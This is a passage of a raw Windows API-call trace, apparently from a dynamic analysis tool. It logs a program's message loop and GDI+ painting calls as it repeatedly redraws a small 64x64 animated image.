[0136.329] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.329] IsWindowUnicode (hWnd=0x702f6) returned 1 [0136.329] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.329] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.329] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.329] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0136.329] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.329] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.329] WaitMessage () returned 1 [0136.364] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.364] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.364] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.364] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.364] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.364] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0136.364] GetCurrentThreadId () returned 0xec0 [0136.364] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0136.365] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.365] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.365] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.365] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.365] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.365] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0136.365] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0136.365] CreateCompatibleDC (hdc=0x3010b83) returned 0x6f0107cb [0136.365] SelectObject (hdc=0x6f0107cb, h=0x1a05067e) returned 0x185000f [0136.365] GdipCreateFromHDC (hdc=0x6f0107cb, graphics=0x15daf0) returned 0x0 [0136.365] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0136.365] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0136.365] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0136.366] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0136.366] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0136.366] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.366] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0136.366] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.366] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.366] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0136.367] GdipCreateRegion (region=0x15dc20) returned 0x0 [0136.367] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0136.367] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0136.367] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0136.367] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.367] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.367] GetSystemMetrics (nIndex=42) returned 0 [0136.367] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.367] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.367] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.367] CoTaskMemFree (pv=0x1e7ac120) [0136.367] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0136.367] GdipCreateRegion (region=0x15d710) returned 0x0 [0136.367] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0136.368] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0136.368] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0136.368] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0136.368] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.368] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.368] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.368] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0136.369] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.369] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.369] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.369] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.369] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0136.369] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0136.369] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0136.369] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0136.369] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.369] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0136.370] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0136.370] GetCurrentObject (hdc=0x6f0107cb, type=0x1) returned 0x1b00017 [0136.370] GetCurrentObject (hdc=0x6f0107cb, type=0x2) returned 0x1900010 [0136.370] GetCurrentObject (hdc=0x6f0107cb, type=0x7) returned 0x1a05067e [0136.370] GetCurrentObject (hdc=0x6f0107cb, type=0x6) returned 0x18a002e [0136.370] SaveDC (hdc=0x6f0107cb) returned 1 [0136.370] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa60407c3 [0136.370] GetClipRgn (hdc=0x6f0107cb, hrgn=0xffffffffa60407c3) returned 0 [0136.370] SelectClipRgn (hdc=0x6f0107cb, hrgn=0x76040b8a) returned 2 [0136.370] DeleteObject (ho=0xffffffffa60407c3) returned 1 [0136.370] DeleteObject (ho=0x76040b8a) returned 1 [0136.371] OffsetViewportOrgEx (in: hdc=0x6f0107cb, x=0, y=0, lppt=0x2800f60 | out: lppt=0x2800f60) returned 1 [0136.371] GetNearestColor (hdc=0x6f0107cb, color=0xffffff) returned 0xffffff [0136.371] CreateSolidBrush (color=0xffffff) returned 0x7e100190 [0136.371] FillRect (hDC=0x6f0107cb, lprc=0x15d7c0, hbr=0x7e100190) returned 1 [0136.371] DeleteObject (ho=0x7e100190) returned 1 [0136.371] RestoreDC (hdc=0x6f0107cb, nSavedDC=-1) returned 1 [0136.371] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.371] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6f0107cb) returned 0x0 [0136.371] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcea0dbd) returned 0x0 [0136.371] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.371] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0136.371] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.372] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.372] GetSystemMetrics (nIndex=42) returned 0 [0136.372] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.372] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.372] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.372] CoTaskMemFree (pv=0x1e7ac120) [0136.372] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0136.372] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0136.372] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0136.372] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0136.372] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6f0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0136.372] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.372] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6f0107cb) returned 0x0 [0136.373] SelectObject (hdc=0x6f0107cb, h=0x185000f) returned 0x1a05067e [0136.373] DeleteDC (hdc=0x6f0107cb) returned 1 [0136.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.373] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0136.373] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0136.373] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0136.373] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.373] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.373] WaitMessage () returned 1 [0136.540] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.540] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.540] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.540] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.540] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.540] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0136.540] GetCurrentThreadId () returned 0xec0 [0136.540] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0136.541] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.541] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.541] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.541] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.541] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.541] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0136.541] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0136.541] CreateCompatibleDC (hdc=0x3010b83) returned 0x700107cb [0136.541] SelectObject (hdc=0x700107cb, h=0x1a05067e) returned 0x185000f [0136.541] GdipCreateFromHDC (hdc=0x700107cb, graphics=0x15daf0) returned 0x0 [0136.542] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0136.542] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0136.542] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0136.542] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0136.542] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0136.542] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.542] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0136.543] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.543] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.543] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0136.543] GdipCreateRegion (region=0x15dc20) returned 0x0 [0136.544] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0136.544] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0136.544] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0136.544] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.544] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.544] GetSystemMetrics (nIndex=42) returned 0 [0136.544] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.544] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.544] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.544] CoTaskMemFree (pv=0x1e7ac120) [0136.545] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0136.545] GdipCreateRegion (region=0x15d710) returned 0x0 [0136.545] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0136.545] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0136.545] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0136.545] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0136.545] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.545] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.546] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.546] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0136.546] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.546] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.547] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.547] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.547] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0136.547] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0136.547] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0136.547] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0136.547] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.547] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0136.547] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0136.548] GetCurrentObject (hdc=0x700107cb, type=0x1) returned 0x1b00017 [0136.548] GetCurrentObject (hdc=0x700107cb, type=0x2) returned 0x1900010 [0136.548] GetCurrentObject (hdc=0x700107cb, type=0x7) returned 0x1a05067e [0136.548] GetCurrentObject (hdc=0x700107cb, type=0x6) returned 0x18a002e [0136.548] SaveDC (hdc=0x700107cb) returned 1 [0136.548] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x77040b8a [0136.548] GetClipRgn (hdc=0x700107cb, hrgn=0x77040b8a) returned 0 [0136.548] SelectClipRgn (hdc=0x700107cb, hrgn=0xffffffffa70407c3) returned 2 [0136.548] DeleteObject (ho=0x77040b8a) returned 1 [0136.548] DeleteObject (ho=0xffffffffa70407c3) returned 1 [0136.548] OffsetViewportOrgEx (in: hdc=0x700107cb, x=0, y=0, lppt=0x2801898 | out: lppt=0x2801898) returned 1 [0136.549] GetNearestColor (hdc=0x700107cb, color=0xffffff) returned 0xffffff [0136.549] CreateSolidBrush (color=0xffffff) returned 0x7f100190 [0136.549] FillRect (hDC=0x700107cb, lprc=0x15d7c0, hbr=0x7f100190) returned 1 [0136.549] DeleteObject (ho=0x7f100190) returned 1 [0136.549] RestoreDC (hdc=0x700107cb, nSavedDC=-1) returned 1 [0136.549] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.549] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x700107cb) returned 0x0 [0136.549] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffce80dbd) returned 0x0 [0136.549] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.550] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0136.550] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.550] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.550] GetSystemMetrics (nIndex=42) returned 0 [0136.550] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.550] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.550] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.558] CoTaskMemFree (pv=0x1e7ac120) [0136.558] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0136.562] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0136.562] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0136.562] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0136.562] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0136.562] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x700107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0136.562] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.562] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x700107cb) returned 0x0 [0136.562] SelectObject (hdc=0x700107cb, h=0x185000f) returned 0x1a05067e [0136.562] DeleteDC (hdc=0x700107cb) returned 1 [0136.563] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.563] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0136.563] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0136.563] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0136.563] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.563] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.563] WaitMessage () returned 1 [0136.694] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.694] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.694] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.694] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.694] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.694] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0136.694] GetCurrentThreadId () returned 0xec0 [0136.694] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0136.695] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.695] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.695] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.695] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.695] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.695] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0136.695] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0136.695] CreateCompatibleDC (hdc=0x3010b83) returned 0x710107cb [0136.695] SelectObject (hdc=0x710107cb, h=0x1a05067e) returned 0x185000f [0136.695] GdipCreateFromHDC (hdc=0x710107cb, graphics=0x15daf0) returned 0x0 [0136.695] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0136.695] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0136.695] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0136.695] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0136.696] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0136.696] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.696] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0136.696] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.696] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.696] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0136.696] GdipCreateRegion (region=0x15dc20) returned 0x0 [0136.697] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0136.697] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0136.697] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0136.697] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.697] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.697] GetSystemMetrics (nIndex=42) returned 0 [0136.697] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.697] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.697] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.697] CoTaskMemFree (pv=0x1e7ac120) [0136.697] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0136.697] GdipCreateRegion (region=0x15d710) returned 0x0 [0136.697] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0136.697] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0136.697] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0136.698] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0136.698] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.698] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.698] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.698] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0136.698] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.698] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.699] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.699] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.699] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0136.699] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0136.699] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0136.699] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0136.699] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.699] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0136.699] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0136.699] GetCurrentObject (hdc=0x710107cb, type=0x1) returned 0x1b00017 [0136.699] GetCurrentObject (hdc=0x710107cb, type=0x2) returned 0x1900010 [0136.699] GetCurrentObject (hdc=0x710107cb, type=0x7) returned 0x1a05067e [0136.700] GetCurrentObject (hdc=0x710107cb, type=0x6) returned 0x18a002e [0136.700] SaveDC (hdc=0x710107cb) returned 1 [0136.700] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa80407c3 [0136.700] GetClipRgn (hdc=0x710107cb, hrgn=0xffffffffa80407c3) returned 0 [0136.700] SelectClipRgn (hdc=0x710107cb, hrgn=0x78040b8a) returned 2 [0136.700] DeleteObject (ho=0xffffffffa80407c3) returned 1 [0136.700] DeleteObject (ho=0x78040b8a) returned 1 [0136.700] OffsetViewportOrgEx (in: hdc=0x710107cb, x=0, y=0, lppt=0x2802bb8 | out: lppt=0x2802bb8) returned 1 [0136.700] GetNearestColor (hdc=0x710107cb, color=0xffffff) returned 0xffffff [0136.700] CreateSolidBrush (color=0xffffff) returned 0xffffffff80100190 [0136.700] FillRect (hDC=0x710107cb, lprc=0x15d7c0, hbr=0xffffffff80100190) returned 1 [0136.701] DeleteObject (ho=0xffffffff80100190) returned 1 [0136.701] RestoreDC (hdc=0x710107cb, nSavedDC=-1) returned 1 [0136.701] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.701] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x710107cb) returned 0x0 [0136.701] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffce60dbd) returned 0x0 [0136.701] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.701] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0136.701] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.701] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.702] GetSystemMetrics (nIndex=42) returned 0 [0136.702] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.702] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.702] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.702] CoTaskMemFree (pv=0x1e7ac120) [0136.702] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0136.702] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0136.702] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0136.702] GdipGetDC (graphics=0x1de4fd10, 